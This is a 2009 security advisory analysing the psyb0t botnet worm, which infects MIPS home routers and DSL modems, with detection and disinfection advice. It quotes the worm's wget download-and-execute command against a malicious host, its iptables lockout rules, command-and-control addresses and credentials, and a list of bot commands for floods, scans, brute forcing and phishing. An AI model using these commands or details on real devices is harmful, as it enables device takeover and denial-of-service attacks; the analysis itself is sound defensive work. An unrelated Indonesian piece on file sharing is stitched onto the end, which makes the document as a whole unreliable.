Update 4 — Before you read anything else, read this

Am I Vulnerable?

You are only vulnerable if:

• Your device is a mipsel (MIPS running in little-endian mode, this is what the worm is compiled for) device.
• Your device also has telnet, SSH or web-based interfaces available to the WAN, and
• Your username and password combinations are weak, OR the daemons that your firmware uses are exploitable.

As such, 90% of the routers and modems participating in this botnet are participating due to user-error (the user themselves or otherwise). Unfortunately, it seems that some of the people covering this botnet do not understand this point, and it is making us look like a bunch of idiots.

Any device that meets the above criteria is vulnerable, including those built on custom firmware such as OpenWRT and DD-WRT. If the above criteria is not met, then the device is NOT vulnerable.

How can I tell if I have been infected?

Ports 22, 23 and 80 are blocked as part of the infection process (but NOT as part of the rootkit itself, running the rootkit itself will not alter your iptables configuration).

If these ports are blocked, you should perform a hard reset on your device, change the administrative passwords, and update to the latest firmware. These steps will remove the rootkit and ensure that your device is not reinfected.

Public Relations and Us

We deal with botnets and abusive hosts, not PR.

We are quite concerned that not many people have (there have been a few, but the majority of the people have used the ’slashdot version’) contacted us, or anybody else working on this for further information or to verify if their conclusions written in their articles were correct. Many articles described this as a “end of the world, all routers are vulnerable” thing. This is simply not the case. We would prefer if you contact us if you do not understand fully now.

Commentary found on the Internet about “this rootkit is fake”, or “it doesn’t run on my ubuntu box”, or “UPX doesn’t unpack it”

Ok, first off, this binary is for MIPS-based processors, which are not X86 (the kind used in the average PC).

Secondly, this binary IS packed with UPX, but he has stripped the headers necessary to decompress it. A little time with a hex editor can get you the decompressed binary, as can just running it in qemu.

Commentary on “why isnt Law Enforcement involved”

Many botnet investigations are handled by the private sector. This is one of those investigations. If a Law Enforcement agency is interested in our work, or the work of anybody else researching this worm, then they should be encouraged to email admins@dronebl.org about it. If we have any useful information they don’t already know, we will be more than happy to provide it.

Commentary on “is device X vulnerable?”

Short answer: We don’t know. There are so many devices out there that we could not possibly know.

Your best bet would be to take action to upgrade the device firmware and secure any passwords if there is concern that the device may be vulnerable. Such actions will help to avoid exploitation by the worm.

The worm info itself

We have come across a botnet worm spreading around called “psyb0t”. It is notable because, according to my knowledge, it:

• is the first botnet worm to target routers and DSL modems
• contains shellcode for many mipsel devices
• is not targeting PCs or servers
• uses multiple strategies for exploitation, including bruteforce username and password combinations
• harvests usernames and passwords through deep packet inspection
• can scan for exploitable phpMyAdmin and MySQL servers

Vulnerable devices

• any linux mipsel routing device that has the router administration interface or sshd or telnetd in a DMZ, which has weak username/passwords (including openwrt/dd-wrt devices).
• possibly others

Infection strategy

Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:

# rm -f /var/tmp/udhcpc.env
# wget

If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.

If wget is not present, the bot looks for “busybox ftpget”, and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.

# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &
udhcpc.env 100% |*****************************| 33744 00:00 ETA

It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.

# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP

This concludes the infection process.

IRC Botnet

Command and control server: strcpy.us.to
IP: 207.155.1.5 (master controller, Windstream Communications AS16687)
IP: 202.67.218.33 (backup controller? HKnet/REACH AS?????)
Port: 5050
Password: $!0@
Channel: #mipsel
Key: %#8b
NickPattern: \[NIP\]-[A-Z/0-9]{9}
BotController: DRS
DroneURL: hxxp://nenolod.net/~nenolod/psyb0t/udhcpc.env (backup copy, i did not write it)

strcpy.us.to control domain nameservers: ns1.afraid.org, ns2.afraid.org, ns3.afraid.org, ns4.afraid.org [suspended]

IRC Commands

.mode   - sets a mode on a channel
.login        - login to the bot
.logout                 - logout
.exit                   - causes the botnet to exit and remove itself
.sh            - runs  on shell
.tlist                  - lists all threads
.kill                   - kills a thread
.killall       - kills threads by glob-match pattern
.silent                 - makes the bot stop sending to channel
.getip                  - show bot WAN ip address
.visit             - flood URL with GET requests
.scan                   - scans a random range for vulnerable routers/modems
.rscan           - scans a CIDR range for vulnerable routers/modems
.lscan                  - scans the local subnet for vulnerable routers/modems
.lrscan                 - scans a range in the local subnet for vulnerable routers/modems
.split        - splits the workload of a scan thread into two threads
.sql        - scans for vulnerable MySQL servers and attempts to make them download and run URL
.pma        - scans for vulnerable phpMyAdmin and attempts to make them download and run URL
.sleep            - makes the bot sleep for the given time
.sel                    - ???
.esel                   - skip next part if locale is not X
.vsel                   - skip next part if version is not X
.gsel                   - ???
.rejoin [delay]         - cycle the channel after delay
.upgrade                - download new bot from the distribution site
.ver                    - returns "[PRIVATE] PSYB0T" followed by version
.rs                     - returns detected rapidshare URLs and logins
.rsgen                  - generate a bogus rapidshare login page and force user to browse to it
.rsloop           - runs a webserver i/o loop on  as a thread
.wget              - runs wget with the provided url
.r00t                   - attempts to raise effective UID using vmsplice() exploit (seems pointless)
.sflood      - sends SYN packets to IP
.uflood      - sends UDP packets to IP
.iflood      - sends ICMP pings to IP
.pscan              - portscans IP
.fscan              - tries to bruteforce FTP server at IP

Commentary

As stated above, this is the first known botnet based on exploiting consumer network devices, such as home routers and cable/dsl modems. Many devices appear to be vulnerable. The size of this botnet so far cannot be determined.

The author of this worm has some sophisticated programming knowledge, given the nature of this executable.

Action must be taken immediately to stop this worm before it grows much larger.

We came across this botnet as part of an investigation into the DDoS attacks against DroneBL’s infrastructure two weeks ago, and feel that this botnet was the one which flooded DroneBL.

We are looking into finding out more information about this botnet, and its controller. If you have any information, we would like to know.

If you intend to disassemble this botnet, you should note it’s UPX-compressed.

I estimate that at the time of writing, there is at least 100,000 hosts infected.

I suspect that the .sql and .pma exploit tools are used for finding more controllers. But I do not have the controller payload.

This technique is one to be extremely concerned about because most end users will not know their network has been hacked, or that their router is exploited. This means that in the future, this could be an attack vector for the theft of personally identifying information. This technique will certainly not be going away.

Update

Some prior research about an earlier version has been found here. This research was done by Terry Baume.

Update 2

This botnet has apparently been shutdown:

* Now talking on #mipsel
* Topic for #mipsel is: .silent on .killall .exit ._exit_ .Research is over:
 for those interested i reached 80K. That was fun  , time to get back to the real life... (To the DroneBL guys:
 I never DDOSed/Phished anybody or peeked on anybody's private data for that matter)
* Topic for #mipsel set by DRS at Sun Mar 22 17:02:15 2009

While this information may or may not be true, we have received HTTP-based floods from IPs participating in this botnet.

We are still interested in this DRS person. If you have any information, please provide it to DroneBL. We will not disclose our sources.

We also hope that the router and modem manufacturers which have been monitoring this incident take note of it and secure their firmware from future attacks.

Update 3 (Disinfection Instructions)

We have been getting asked a lot about disinfection instructions.

To disinfect, simply powercycle your device and take appropriate action to lock it down, including the latest firmware updates, and using a secure password.

nenolod / Mar-22-2009 07:32:31 GMT

File sharing dengan Microsoft Windows

Microsoft Windows (dan lain sistem operasi komputer pribadi) berisi fitur untuk file sharing.Misalnya, file folder Windows dapat di pakai di seluruh lokal area network (LAN) atau Internet Explorer menggunakan interface dan pemetaan drive jaringan. Anda dapat juga mengatur pembatasan akses keamanan yang dapat mengendalikan siapa saja yang di temui di jaringan itu ( dengan aplikasi dan pengetahuan yang mendukung tentunya)

Ftp file transfer

File Transfer Protocol (FTP) adalah cara clasic tetapi masih banyak cara untuk berbagi file di Internet. Sebuah pusat komputer yang disebut server FTP menyimpan semua file untuk dibagi, sementara komputer dari jauh menggunakan software FTP klien dapat masuk ke server untuk memperoleh salinan data yang tersimpan di server.

Hampir Semua sistem operasi komputer modern berisi software FTP klien (minimal mampu menjalankannya) , dan Web browser populer seperti Internet Explorer, Mozilla Firefox, Opera juga dapat dikonfigurasi untuk disgunakan sebagai klien FTP. program Alternatif klien FTP juga tersedia untuk download gratis di Internet. Seperti dengan Windows file sharing, keamanan akses pilihan dapat ditetapkan pada server FTP, sehingga klien harus menggunakan nama login dan password valid untuk dapat mengambil data di server.

P2P – peer to peer file sharing

Peer to peer (P2P) file sharing yang sangat populer untuk metode swapping file besar di Internet, terutama musik dan video.Tidak seperti FTP, P2P file sharing sistem tidak menggunakan server pusat tetapi memungkinkan semua komputer pada jaringan untuk memiliki fungsi sama sebagai klien dan server.Sejumlah perangkat lunak P2P gratis setiap ada program mereka sendiri dengan keunggulan teknis dan di gemari masyarakat salah satunya adalah Instant Messaging (IM) adalah sebuah sistem P2P jenis aplikasi paling sering digunakan untuk chatting, tetapi semua perangkat lunak IM populer juga mendukung file sharing.